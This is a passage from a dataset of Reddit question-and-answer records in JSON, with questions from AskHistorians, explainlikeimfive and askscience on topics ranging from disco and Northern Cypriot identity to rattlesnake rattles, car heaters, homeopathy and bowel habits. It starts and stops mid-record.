cheese, and the Village People were pretty cheesy even for disco. Peter Shapiro's *Turn The Beat Around: The Secret History Of Disco* is scathing about the group: \"if disco had a nadir it was unquestionably the Village People. The Village People represented everything naff about disco: the stale beats seemingly phoned in by studio hacks, the dunderheaded English-as-a-foreign-language lyrics, the complete lack of subtletly, all delivered by [a bunch of stereotypes]\". Shapiro, of course, is attempting to rehabilitate the critical opinion about disco in this book, to explain its import and meaning, and he is intent on showing that disco had a smarter, more cosmopolitan side than you see in the Village People. Nonetheless, he also admits that - even if they're a harmless novelty act - the Village People have a 'goofy pleasure'. And who can deny some harmless goofy pleasures to a bunch of 13-year-olds?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/68abti/was_it_really_fun_to_stay_at_the_ymca/dgxm1aw/"], ["https://www.reddit.com/r/AskHistorians/comments/72melb/disco_music_is_almost_synonymous_with_the_1970s/dnkdaug/", "https://www.reddit.com/r/AskHistorians/comments/68abti/was_it_really_fun_to_stay_at_the_ymca/dgxm1aw/", "http://www.spin.com/2008/05/ymca-oral-history/", "http://www.believermag.com/issues/201307/?read=article_pasulka"]]}
{"q_id": "fts7b8", "title": "Do people in Northern Cyprus consider themselves Turkish or Cypriots? Has it always been this way, or was there a transition somewhere along the line?", "selftext": "I know the Cypriot dispute ended with most Greek Cypriots (aka Cypriots) being deported to the southern part of the island. \n\nHowever, I\u2019m curious as to what this meant for those left living in the north. Did/do they still consider themselves Cypriots? Is there any semblance of Cyprus nationalism or pride, either today or historically? Is there a lot of animosity amongst the citizens towards their southern counterparts? Is there still cultural homogeny between the two \u201ccountries,\u201d or has the north adopted norms more aligned with Turkey than the Greek islands/southern Cyprus?\n\nI\u2019m super curious because this isn\u2019t something that is really covered or talked about often. Cyprus seems to be left on the back burner when talking about nations split in half by conflict. Korea, Vietnam, Sudan... But what about Cyprus?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fts7b8/do_people_in_northern_cyprus_consider_themselves/", "answers": {"a_id": ["fm95y14"], "score": [6], "text": ["It\u2019s hard to answer this question academically because, as you say, there\u2019s just not a lot of people that work on Cyprus (the entire island only has around 800,000 people). \n\nAlthough the origins of the presence of Turks on the island has its roots in land grants given to mainlanders by the ottomans after the conquest of the island in the 16th century, there is a distinct Turkish Cypriot identity among Turkish Cypriots, as there is a Greek Cypriot identity. Both groups consider themselves distinct from being either Turkish (=of the republic of Turkey) and Greek (= of the Hellenic Republic). However, they are also slightly different from one another, in that people specifically identify as a Greek- or Turkish Cypriot (as opposed to just being Cypriot). There are/were also small groups of Armenians and Maronites (from Lebanon) on the island; both groups are small (less than 1000 people) and now in the south (Greek Cyprus).\n\nThere are now more Turkish Cypriots living outside of Cyprus than on the island\u2014around half a million in Turkey, a quarter million in the UK, and a number in Australia, as opposed to under 150,000 inhabitants of northern Cyprus. In response to the outmigration, the Turkish government encouraged mainland settlers to move to Northern Cyprus after 1974. Many of these were rural, conservative Muslims from eastern Turkey, and there is a general feeling of resentment toward them by Turkish Cypriots, whose culture generally was more secular and distinct from the mainland. There is a general feeling among Turkish Cypriots that the settlers are hastening the decline of Turkish Cypriot culture and language.\n\nThis is particularly the case with language: Cypriot Turkish has many distinct features not shared by mainland Turkish, both through its prolonged contact with Cypriot Greek, and through the language reforms that standard (mainland) Turkish went through in the early days of the republic. In both cases, Cypriots can understand the standard dialect of Turkish or Greek, but usually have to switch to the standard variety in order to make themselves understood by people from Turkey or Greece (this is especially the case with people who come from villages in the Troodos mountains, in which each seems to have its own regional dialect).\n\nCyprus, as you probably know, has had a troubled history for most of the 20th century. Inter-communal fighting persisted from the period before independence in 1960 through to the Turkish invasion of 1974, and finding a solution agreeable to both sides has been difficult \u2014 negotiations are still ongoing. There is still a bit of animosity and distrust between the populations given the history of modern violence\u2014especially distrust. One of the sticking points is that Greek Cyprus wants the Turkish military off the island because they don\u2019t trust Turkey, and the Turkish Cypriots are reluctant to be without any protection as they remember when the Cypriot military essentially behaved as a Greek paramilitary force in the 1960s.\n\nIt\u2019s anecdotal, but I found that the older generation who remembers life before 1974 to be somewhat softer in their attitudes as opposed to the younger generation who grew up only hearing stories about the violence and thinking of the other side as the enemy. (Full disclosure: I was on Cyprus for a seminar in 2004, which was only about 18 months after it became possible to cross the green line. Things may have changed as there\u2019s now been much more direct contact between Greek and Turkish Cypriots since that happened; I haven\u2019t been back since then). \n\nUnfortunately, there\u2019s not a lot out there that\u2019s about the Cypriot people, as opposed to the conflict, but you can try Papadakis, Yiannis (2005), *Echoes from the Dead Zone: Across the Cyprus divide*, I.B.Tauris, 2005."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "42miqj", "title": "why is nobody holding the us responsible for destabilizing the entire middle-eastern region and creating is?", "selftext": "Yet the US cannot shut up how China and Russia are violating human rights?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42miqj/eli5why_is_nobody_holding_the_us_responsible_for/", "answers": {"a_id": ["czberzd", "czbexqk", "czbext0", "czbf61m", "czbf65q", "czbiga7", "czbuufc", "czcbboh", "czcdy7f"], "score": [4, 4, 25, 42, 2, 2, 2, 3, 2], "text": ["Uh, remember the massive global criticism for the Iraq war and subsequent occupation?", "It's complicated.  It's difficult to attribute blame.  It's not entirely their fault.  It wasn't done completely from malice there were good intentions too.  It's not like other countries don't have selfish, destructive foreign policies too.  It's hard for everyone affected to agree to on a unilateral response.  It's unlikely the people who cause the problems are still in power or would care.", " First, what do you mean by holding responsible? What consequences do you suggest to the US should face, and from whom?\n\nSecond, although the US has caused many recent problems, the instability in the region dates back at least to the end of World War I, when Great Britain decided to divide the region up in ways that didn't make any sense. Further instability  was caused by the  collapse of the Soviet Union. And recent instability has been made worse by drought, which has increased poverty in some areas. ", "Because it's so much more complicated than that. By that logic, France should be held accountable for Hitler, since it was their outrageous reparation demands that bankrupted Germany after WWI and created the political environment that allowed Hitler to rise to power. Should France be held responsible for the holocaust? No. France may have created the metaphorical gun, but it was Germany that took it and pulled the trigger.\n\nLikewise, the US did not create ISIS. We certainly helped to create the political climate to allow its creation *recently*, but it is the extremists who took the opportunity to do so, and the other nearby nations like Saudi Arabia that failed to take action against extremism within their borders to prevent it.\n\nThe middle east hasn't been \"stable\" in hundreds of years. The US definitely has not been helpful at times, but there are far more factors and far more players. Should we be culpable for the negative effects of our presence there? Yeah. But we've had positive influences as well. I'm not trying to hand-wave the bad away and excuse or actions, but neither is it fair to say the situation there is the fault of the US.", "You are presuming that the US made the \"wrong\" moves here, we can't predict the future or alternate timelines:\n\nLet me explain: What if the US didn't do the things that it did? What would have happened? Would it have been better? Worse? The same? \n\nWe don't really know. We only know what DID happen. We don't know the millions of paths that could have happened that did not occur because what someone did.\n\n\nConsider these scenarios:\n\nI'm mad because my date bailed on me. Sad. I punch a hole in a wall, my fist hurts and the wall is broken. My friend calls me to come hang out with them and screw the person who bailed on our date, but I don't go out at night because my fist hurts.\n\nOr this case: My date bails, I don't punch a wall. My friend calls me to come hang out with them and screw the person who bailed on our date, I go out with them and meet the girl of my dreams.\n\nWe don't know other possibilities. We can't say that what the US did isn't exactly the best possible outcome -- it may be, it may not.", "I want to make this clear, I'm asking a real question too:\n\nWhat makes you think no one is holding the US responsible?", "What about Assad? That wasn't the US.  or was it?", "I always have to ask 1 question of the people who think Saddam was this great stabilizing force in the middle east :\n\nHave you ever heard of the 1st gulf war?", "It is simply amazing the number of people here that think the US obliterating the governments and infrastructure of a number of ME countries has little or nothing to do with the current situation in the ME, the European refugee crisis, and IS. Imagine for moment what things might be like in the USA if a foreign country completely destroyed our government, disbanded our military, and bombed and shot us up incessantly. Would you give that foreign power a pass on all the bad shit that would come to pass after that? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "3rays5", "title": "why is no information system unhackable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rays5/eli5_why_is_no_information_system_unhackable/", "answers": {"a_id": ["cwmh0od"], "score": [3], "text": ["The only information system that is unhackable is a black hole - information goes in, and never comes out again.\n\nIf you can get information out through any valid method, there exists the ability to extract information through an illegal method.\n\nTake the magic box - the ultimate, \"unhackable\" computer. For me to hack it, I con it's user out of their password and then use my computer to pretend to be the user and supply the valid key. According to the magic box, I did everything correctly, and thus I am allowed in.\n\nOr, assuming that I don't have the password, I can have my computer brute force attempt every password, starting with simple ones that a human could remember.\n\nEither of those would eventually get me in given enough time, and that's not even counting the fact that there is no such thing as a magic box with no imperfections. Every system has its vulnerabilities because every system is made by humans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "39byxw", "title": "what is the evolutionary advantage of the \"rattle\" on a rattlesnake?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39byxw/eli5_what_is_the_evolutionary_advantage_of_the/", "answers": {"a_id": ["cs23boz", "cs242mp", "cs26ixp", "cs26k2h", "cs2dkuv"], "score": [6, 71, 3, 2, 3], "text": ["It's a verbal warning sign that says \"do NOT step on me. I am here and I am a rattlesnake\". \n\nThe sound is very distinctive and scares off any herd animal that might tromp on it. ", "Conservation of energy. If a warning is effective, then it will not need to bite and can reserve its venom/energy for other, more important matters. ", "It says \"stay the hell away from me, I'm dangerous\".  You see the same phenomenon going on with brightly colored venomous bees, other snakes, and poisonous frogs.  Lots of things eat nonvenomous snakes, and lizards which can look pretty similar if you only see part of the animal.  They might spot a rattler and attack, wounding it even before the rattlesnake got a chance to bite back.  By rattling, they warn off potential threats without having to actually fight.  Plus they get to avoid wasting venom, which takes a little while and energy to make.  ", "Avoiding a fight is generally preferable to fighting and winning.  Fighting takes energy and may leave the snake vulnerable to other animals.", "Rattlesnakes have a built up store of venom that is slowly topped off by special poison glands.  Killing or seriously injuring something the size of a human would require essentially all of a snake's venom, leaving it unable to hunt or defend itself until its reserves replenished. If a rattlesnake encounters something like a human it will use its rattle and put on an aggressive show in order to avoid having to use its venom if at all possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "a69dcc", "title": "why is it that a hairdryer can get hot in a matter of seconds, but a car\u2019s air conditioner/heat can take several minutes to heat up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a69dcc/eli5_why_is_it_that_a_hairdryer_can_get_hot_in_a/", "answers": {"a_id": ["ebt0u4n", "ebt0ysl", "ebt16pb", "ebtlbr2", "ebtnfj0"], "score": [62, 19, 9, 2, 4], "text": ["Hair dryer is pretty much just an electric element that gets hot as soon as its energized (turned on).\n\nAir conditioner is a series of mechanical components that work together to take heat from one space and absorb it into a refrigerant (liquid/gas inside the unit) by manipulating the pressure of the refrigerant by a process of compressing and expanding to expel that heat to another physical location. Therefore its a bit more of a process then just turned on a switch.\n\n", "A blow dryer draws an incredible amount of electricity from your outlet though thin tungsten wires that makes heat. Your car uses the coolant that cools the engine to heat the compartment. Your car can not provide the amperage needed to heat the wires of a heating element without adding a whole new electrical system. Which would be expensive and heavy ", "The hair dryer uses electricity from the wall to heat wires that air is blown past to make the hot air. A car on the other hand uses heat from the engine coolant to heat air, but the engine is a big chunk of metal. It takes a while to heat up and transfer to the coolant.", "A blow dryer only cares for itself it\u2019s only job is to get hot. While a cars heat is second to getting the cars engine hot if the engine is not getting hot or to the right temperature you\u2019ll not get heat. Heat is not it\u2019s own thing it gets hot though the heat of engine", "The entire purpose of a hair dryer is to get hot, so it does that pretty well.\n\nA car's purpose is for transportation.  The heater is just a very nice side effect.  \n\nAlso consider the materials involved, and the quantity.  Your car engine is over a thousand pounds of metal.  If you're interested in using the heater, it's probably cold outside, so that's over a thousand pounds of very cold metal.  As mentioned previously, heating is just a side effect, so all of that metal needs to warm up first before the heat will pass to you.  The hairdryer, by comparison, is a tiny little scrap of metal, in a plastic shell.  Heating that up is much much easier than heating up an engine block."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2ag116", "title": "what is the deal with the whole lebron james thing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ag116/eli5_what_is_the_deal_with_the_whole_lebron_james/", "answers": {"a_id": ["ciup621"], "score": [3], "text": ["LeBron is basically the supermodel that everyone wants to date. So he was together forever with Cleveland until he realized that he was dating a solid 4.5 when he could easily have a 10. So he bounces.\n\n\nIn response, Cleveland digs their key into the side of his pretty little suped up four wheel drive and threw his stuff out in the yard and went psycho even though they should have been happy that the supermodel even looked at them.\n\n\nSo four years later LeBron decides that while Miami is way hotter than Cleveland, she also can be an overly pretentious female dog and ends up going back to his first love.\n\n\nSo basically the whole thing is kind of like a redneck NBA version of \"The Notebook.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3s10l4", "title": "When did we recognize that we were inside a galaxy, and that beyond us lied an entire universe?", "selftext": "I could probably Google this but I can't find the right combo of words.\n\nJust in case my question doesn't make sense, I'll try to be more specific.\n\nWhen did we actually recognize that the planets and stars that we could observe were just one cluster among an infinite number of similar clusters?\n\nNo need to upvote, I'm sure there's an easy answer, this just struck me while stargazing last night.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3s10l4/when_did_we_recognize_that_we_were_inside_a/", "answers": {"a_id": ["cwt5wlp", "cwt62v2", "cwtqigl"], "score": [48, 30, 3], "text": ["Other galaxies have been seen with telescopes for centuries. In fact, the Andromeda Galaxy, the closest neighboring spiral galaxy to the Milky Way, is four times wider than the full Moon in the sky (it's just so dim that you can't normally see it with your eyes). However, for a long time these were believed to just be clouds of gas inside the Milky Way, which was regarded as the extent of the entire Universe as far as visible matter was concerned.\n\nIt was only in the early 20th century that new observations drove astronomers to the conclusion that the Milky Way is just one of many galaxies. There was an event called the [Great Debate](_URL_0_) which took place in 1920, where prominent astronomers argued each of the two opposing viewpoints of the time (that the Milky Way was the entire universe, or that it was just one galaxy among many). Further observations in the early 1920s established conclusively that other galaxies were too far away to be inside the Milky Way.", "Scientists noticed swirls they thought were nebulas, and thought they found stars inside them around 1919.  Edwin Hubble discovered they were galaxies outside our own, and not nebulas inside our galaxy in 1923.  _URL_0_", "Some people hypothesized an infinite universe (with many worlds similar to ours) way before that (other people responses). \n\nBut they were mostly imagining and making assumptions based on some guesses and some first principles (\"why would there be only one of a thing\", \"if the universe has an end what happens at the edge of it\").\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Great_Debate_%28astronomy%29"], ["https://amazing-space.stsci.edu/resources/explorations/groundup/lesson/scopes/mt_wilson/discovery.php"], []]}
{"q_id": "2t1a1c", "title": "How do split depth gifs work?", "selftext": "The subreddit showcasing the phenomenon under discussion: discussionhttp://_URL_0_\n\nIt's clear that the lines covering some parts of the gif and not others is responsible for the effect. I'm curious what about our visual system makes this effect so powerful.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2t1a1c/how_do_split_depth_gifs_work/", "answers": {"a_id": ["cnuwef9", "cnv0gvy", "cnv183y", "cnvf231"], "score": [20, 2, 14, 3], "text": ["Your brain sees the picture with lines on top. The lines form a frontal barrier to the picture. When the line is moved to the back ( imagine layers) your brain translates the object in the picture moving toward you.", "The lines that cover part of it create a frame, sort of like a picture frame, and when the motion of the .gif blocks the frame from your vision you perceive the motion as moving towards you because it \"moves\" in front of the frame.", "Pictures contain several types of [depth cues](_URL_0_). Occlusion is one of them.\n\nIf object A occludes object B it only makes sense that A is in front of B.\n\nWhen an object in a .gif file is suddenly not blocked by one of those stripes any more our brain interprets that as \"it has moved in front of that stripe, i.e. towards me.\"", "what would happen if you put a bunch of smaller white lines such that is doesn't interrupt the picture as badly?\n\nIs there a way to double the effect into two layers? Maybe with different colored lines or something? Creating more lines and only covering some, and then the things to be closest cover all of the lines?\n\n"]}, "title_urls": [], "selftext_urls": ["www.reddit.com/r/splitdepthgifs"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Depth_perception#Monocular_cues"], []]}
{"q_id": "2c17hm", "title": "why is there turbulance in airplanes and how can the pilot identify it before going through it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c17hm/eli5_why_is_there_turbulance_in_airplanes_and_how/", "answers": {"a_id": ["cjawn3p"], "score": [12], "text": ["Turbulence is caused by a quick change in air currents along the flight path. Commercial jets can handle even 100mph winds in any direction smoothly but if that wind suddenly stops or changes direction it will take some time before the pilot or automated systems can react. The plan is jolted during this reaction time, then stabilizes.\n\nNot only does the changing current push the plane, it also changes how air flows into the engines, typically turbofans. They also have a reaction time and, while reacting, may have a change in power output. This can add to the effect.\n\nChanges in air density also cause turbulence, both aerodynamically and through engine output. Clouds, water vapor, are always at least a little rough. Thunderstorms combine turbulent air currents and water vapor, usually producing the worst effects.\n\nPilots have multiple methods to predict these things. Pilots who flew through the area recently will push information to the traffic control towers who will tell subsequent planes. Radar can track much of this as well.\n\nI never cleared my single engine even, but secondhand I can tell you there's a gut intuition of experience that goes into this. My instructor told me once \"watch this updraft\" and, after, I asked how he knew it was there. His answer was \"I don't know. I just knew. You'll understand eventually.\" I guess he saw what was on the ground, the terrain, knew the wind, saw where the clouds were, and subconsciously put it together with experience.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ky60a", "title": "My mother is buying homeopathic medicine for our family, how can I convince her that it doesn't work?", "selftext": "We are a poor family. I asked her for some vitamins because I was feeling sick this morning and she gave me something called \"silver nitrate\". It has 10 ppm. It makes me mad that she is wasting money on this instead of buying vitamin C or daily vitamin pills.\n\nAnyway, what would be the best articles or videos to show her to tell her homeopathy does not work?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ky60a/my_mother_is_buying_homeopathic_medicine_for_our/", "answers": {"a_id": ["c2ofkkj", "c2ofkkj"], "score": [2, 2], "text": ["Anything by James Randi.  Youtube has at least 4-5 good talks by him on homeopathy and why it's junk.\n\nBut before that, have you sat down with her and explained that it's a scam?  It's easy to envision someone being duped into buying this crap without ever knowing it's complete bologna.", "Anything by James Randi.  Youtube has at least 4-5 good talks by him on homeopathy and why it's junk.\n\nBut before that, have you sat down with her and explained that it's a scam?  It's easy to envision someone being duped into buying this crap without ever knowing it's complete bologna."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "gw2q5", "title": "How hard would it be to tear a patch of human skin?", "selftext": "Not off a body, cause that would gross.\n\nAssuming I have a 1'x1' patch of human skin, perfect condition (properly hydrated, no diseases, not old person skin, etc), how difficult would it be to rip it in half?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gw2q5/how_hard_would_it_be_to_tear_a_patch_of_human_skin/", "answers": {"a_id": ["c1qpixd", "c1qpkiy", "c1qpnt1"], "score": [5, 3, 3], "text": ["Well, I can't really comment on human skin but pig skin is pretty similar and I can't do it.  Can't give you an engineers perspective of tensile strength and stuff like that but \"not easy\" is my official verdict.  \n", "What gives skin it's strength and elasticity is the dermal layer. The dermis is located right underneath the epidermis and is composed of mostly collagen and some elastin fibers arranged irregularly to form a flexible and resilient polymer. Under normal conditions this meshwork can withstand tremendous stressors for any direction due to it's irregular configuration. \n\nI do not know the exact force required to tear skin but after working in a cadaver lab for a year, I can tell you with certainty that it takes a lot. ", "According to [this](_URL_1_), human skin has a tensile strength of about 18MPa, which is 18,000,000N per square meter.  \n  \nHowever, the main thing to consider when tearing anything is stress concentrators. If you've got a 'perfect' condition patch of skin with no stress concentrators, it's going to take a huge amount of force to tear it. If you've got an imperfection (an existing cut, especially if it's at the edge of the skin, or even an ingrown hair or pimple), then that's going to massively reduce the amount of force required. It's why most packaging has [serrated edges](_URL_0_), it makes it much easier to open.  \n  \nOn top of that, you need to take into account how quickly the force is applied. If you think about a piece of blu-tak, when you pull it apart slowly it stretches out a lot before breaking, but if you pull it quickly it snaps almost immediately. This is because if you apply the force slowly, the material has more time to distribute the stress throughout itself.  \n  \nAs a non-scientific point, think of things like rock-climbing, where you can have your entire body weight on a few fingers without the skin tearing, or how if someone pinches you and pulls really hard, their fingers will slip off before the skin tears (although it does hurt like a bitch). I'd say it's reasonable to conclude that if you had a 'perfect condition' patch of human skin, you wouldn't be able to tear it by hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://isadikin.files.wordpress.com/2007/12/stress_concentration_candy.jpg", "http://www.fsijournal.org/article/S0379-0738\\(04\\)00412-8/abstract"]]}
{"q_id": "5qkbnk", "title": "Is Robert Conquest a reliable source?", "selftext": "I was thinking of reading his books on the Soviet Union then I heard that he has a strong anti-communist bias and his estimates are exagerrated. Is there any truth to these accusations and if yes then came you refer me to any alternate sources. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5qkbnk/is_robert_conquest_a_reliable_source/", "answers": {"a_id": ["dd0r2a1"], "score": [3], "text": ["Conquest pretty much wore his anti-Soviet and anti-Marxist bias on his sleeve when he was alive. Much of his original work such as *The Harvest of Sorrow* was pieced together when the Soviet Union was still existing, so his original source bases are often quite poor and themselves quite biased (the USSR was never terribly friendly to Western researchers, least of alll avowedly anti-communist ones like Conquest)  Reading Conquest in 2017 is something of a chore, especially since there are much more sophisticated works on the Soviet Union that have been produced since 1991. *The Years of Hunger: Soviet Agriculture, 1931\u20131933* by Davies and Wheatcroft, for instance, is a much more balanced and nuanced account of collectivization that Conquest's polemical tone. When Conquest did revisit his books post-1991, it was not to modify his thesis but to sharpen it. And there is a persistent undertone in post-91 Conquest that he wants the left in the West to abjure their alleged faith in communism and accept the worst aspects of the Soviet system. Naturally, Conquest along with Pipes have some currency both among the anticommunist crowd, but also among various Eastern European nationalists in which the very worst interpretation of Soviet actions fuels narratives of national martyrdom and post-Soviet rebirth. \n\nMy personal advice is that unless you're looking to familiarize yourself with the deeper historiography of the Soviet system, and Conquest is referenced a lot (albeit mostly in introductions and snarky dismissals in the footnotes), he really is not worth reading today. There are much better and more reliable secondary works on the  the Stalinist period, almost to the point of saturation, and they present a much better picture of the Soviet system than Conquest. New generations of historians have pretty much superseded Conquest on  all of the topics he pioneered. Conquest is an artifact of its era and really leads people wanting to learn about the Soviet system into a bunch of dead ends. \n\nSuggestions for alternate sources: pretty much anything written by Sheila Fitzpatrick is good; *Years of Hunger* is dry, but much better on the famine; the anthology *Stalinism: New Directions* is an excellent introduction to the post-91 historiography; *The Kirov Murder and Soviet History* by Matthew Lenoe is a good counter to Conquest, who accepted the charge that Stalin murdered Kirov; Oleg Khlevnuik's works on the Terror and Stalin are good introductions; Lewis Siegelbaum's books and articles pioneered the \"limping behemoth\" genre of the historiography in which systematic incompetence more than terror undermined faith in the Soviet experiment; finally, to get a good *sense* of what it was like to live under Stalin, Karl Schlogel's *Moscow 1937* is a rather breathtaking read despite being a doorstopper of a book. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cxre8", "title": "why are there days when i am able to more clearly articulate myself and other days i can barely form a coherent sentence?", "selftext": "What causes this? I notice that some days when I'm writing the words flow with ease, but other days I'm disgusted with everything that I write. Is there anything I can do to improve my consistency?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cxre8/eli5_why_are_there_days_when_i_am_able_to_more/", "answers": {"a_id": ["cjk3rtv", "cjk4cda", "cjkamqi", "cjkbzm5", "cjkcwno", "cjkemxb", "cjkfma6", "cjkicsw", "cjkslzk"], "score": [97, 9, 2, 4, 3, 6, 2, 2, 2], "text": ["Sleep better\n\nEat better", "When I'm tired I'm a stuttering, mumbling fool.  Well rested and the words flow out with me feeling a bit surprised. ", "I have MS and that is pretty much common for yes with rrms may want to get thst checked", "Aside from sleep, diet and illnesses, one explanation is that our circadian rhythms have a 25 hour cycle. This would mean that the cycle is not in sync with time in a day, key points in this cycle constantly shift giving you periods where you have low cognitive performance in a certain part of the day where you once had good cognitive performance. ", "do you sleep with your socks on?", "I see a lot of the usual stuff, depression, sleep, diet. However, there is also a chance that you're an [HSP](_URL_2_) (highly sensitive person, or in other words, someone who has high sensory processing sensitivity) and you need to be aware of the environment around you otherwise your brain waves will run out of control. A good 15/20% of the population is like this but have no idea and just go around in a stressed out daze. \n\nIt's difficult being an HSP, especially in this supersonic society, everything's loud and fast and generally a complete assault to our senses. I was exactly the same at one point, some days I felt like a complete moron while other days I could be so coherent people would tell me I should write a book. It's a lot of discipline to maintain the lifestyle but the benefits are incredible. [Here](_URL_1_), have a read and see what you think... check out the [benefits](_URL_0_) too!", "Because alcohol is fun.", "I'm somewhat disturbed by all the medicalized explanations given in this thread. You could indeed be suffering from depression or in need of a proper diet but you could also just be a healthy, sensitive human being who isn't in a perpetually \"optimal\" state, just like everyone else, really. Assuming you've already ruled out more serious conditions, don't be too hard on yourself and consider that society's expectations when it comes to productivity and performance often reek of sadomasochism.", "Somebody is replacing your coffee with caffeine free on some days but not others. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://coachingwithchristina.com/12-benefits-of-being-a-highly-sensitive-person/", "http://www.psychologytoday.com/blog/prescriptions-life/201105/top-10-survival-tips-the-highly-sensitive-person-hsp", "https://en.wikipedia.org/wiki/Highly_sensitive_person"], [], [], []]}
{"q_id": "cdsiyk", "title": "Would the huge ice-filled Korolev martian crater make a good home for first colonies?", "selftext": "I'm picturing excavating large sections of this huge block of ice using solar or nuclear power. Much easier than digging, and the product is needed anyway. We could leave a whole kilometer of ice to protect against meteors and atmospheric conditions like the vacuum and sand.\n\nWould this be impossible for instance if the ice is porous, poisonous, or too cracked up? It looks to me like an easy, cheap, very stable way in to colonizing..\n\nKorolev crater _URL_0_\n\nThe amazing Kurzgesagt video Life Under Ice that got me thinking about this _URL_1_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cdsiyk/would_the_huge_icefilled_korolev_martian_crater/", "answers": {"a_id": ["etwm63h"], "score": [11], "text": ["The crater is pretty far north, which means that it's not a good place to set up solar panels.  The closer you are to the equator the better results you'll get from solar panels, the closer to the poles the worse the results.\n\nOther than that, sure.  You'd have to do a test on the porosity of the ice, as you don't want air escaping from your habitation, but chances are once you're deep enough compression has made the ice very dense and non-permeable to air.\n\nThen there's the fact that human activity will bring warming, which will melt the ice.  This will likely reach equilibrium though.  Keep your nuclear reactor outside the crater to help prevent this.\n\nThe environment inside will be very humid, which is not the best thing for electronics.\n\nAs for poisons in the water, it was formed by condensation from the atmosphere, which would make the ice very pure.  There will be some dust mixed in with it, which means possibly some perchlorates, but I don't that that will be too much of an issue to filter or bio-react out.  You'd have to figure out a way of removing the chlorine (from reduction of the perchlorate), otherwise it will build up in the atmosphere inside the habitation.  But first you'd need to find out the levels of perchlorate in the ice, it may be low enough that it can be safely ignored."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Korolev_(Martian_crater)", "https://youtu.be/M7CkdB5z9PY"], "answers_urls": [[]]}
{"q_id": "1ktd1d", "title": "Has any modern leader of a western country made a controversial decision/order that no one expected once he became the leader?", "selftext": "There are many issues that split the vote pretty evenly (ie abortion, whistle blowers like Manning/Snowden).  To become a leader, one has to tread carefully around such issues.  Many leaders seem to be neutral around these.\n\nHas there ever been a modern leader that was secretly strongly for or against one of these issues, got elected and used their new power to address it?\n\nEdit: fixed typo", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ktd1d/has_any_modern_leader_of_a_western_country_made_a/", "answers": {"a_id": ["cbsqbp2"], "score": [5], "text": ["Lyndon  Johnson  was   a  Democrat  from   Texas.  He  stunned  the  Southern  Democrats  by  strongly  supporting  the  Civil  Rights  Act  of  1964.  A  huge  swath  of  these  Southern  Democrats  defected  to  the  Republican  Party  and  that  greatly  helped  Richard  Nixon  win  the  1968  presidential  election  with  his  southern  strategy.   Storm  Thurmond  and  Trent  Lott  were  two  prominant  Republican  US  senators  in  the  late  20th  century,  who  started  their  political  careers  as  Democrats.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1vj5ap", "title": "why do different people poop at different frequencies? where does the waste go for people who don't poop often?", "selftext": "I apologize in advance for this gross question. But I poop 2-3 times per day, and my wife poops 1 time per WEEK! I don't get it, is her body just better at getting all nutrients out of her meals and thus making less waste? Is her colon packed out like a Jersey shore club on a Saturday night? Why? \n\nPlus when she does poop its some little nugget dudes, as opposed to my soft/wet mess (again I can't apologize enough about this post). Is that a factor? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vj5ap/eli5_why_do_different_people_poop_at_different/", "answers": {"a_id": ["cessdry", "cestjtb", "cesulxn", "cesw2dp", "cesx1gy", "cesx616", "cet2s10", "cet3r6g", "cet7598"], "score": [14, 2, 3, 2, 2, 3, 2, 2, 2], "text": ["Here are a few factors that determine one's bowel movement frequency:\n\n* Diet (esp. fibre)\n\n* Fluid intake\n\n* Gut motility\n\nThe last one just means \"how enthusiastically your gut pushes stuff along.\" It does vary from person to person, so someone's \"normal\" might be once every few days where another's (like you) might be frequent. It's also affected by medications, like laxatives and drugs that constipate you as a side effect. \n\nPoop that isn't pooped out just collects in the colon; that's really the colon's job (in addition to some water absorption). As long as it stays there, it gets harder and drier. So yes, someone who poops less frequently will have a harder time of it. From a doctor's perspective, the ideal bowel movement just comes out when you're ready, rather than needing any straining at all.", "It certainly matters how much you eat and how much you need to eat. Obviously eating a lot more than you need will mean more poops. Or eating 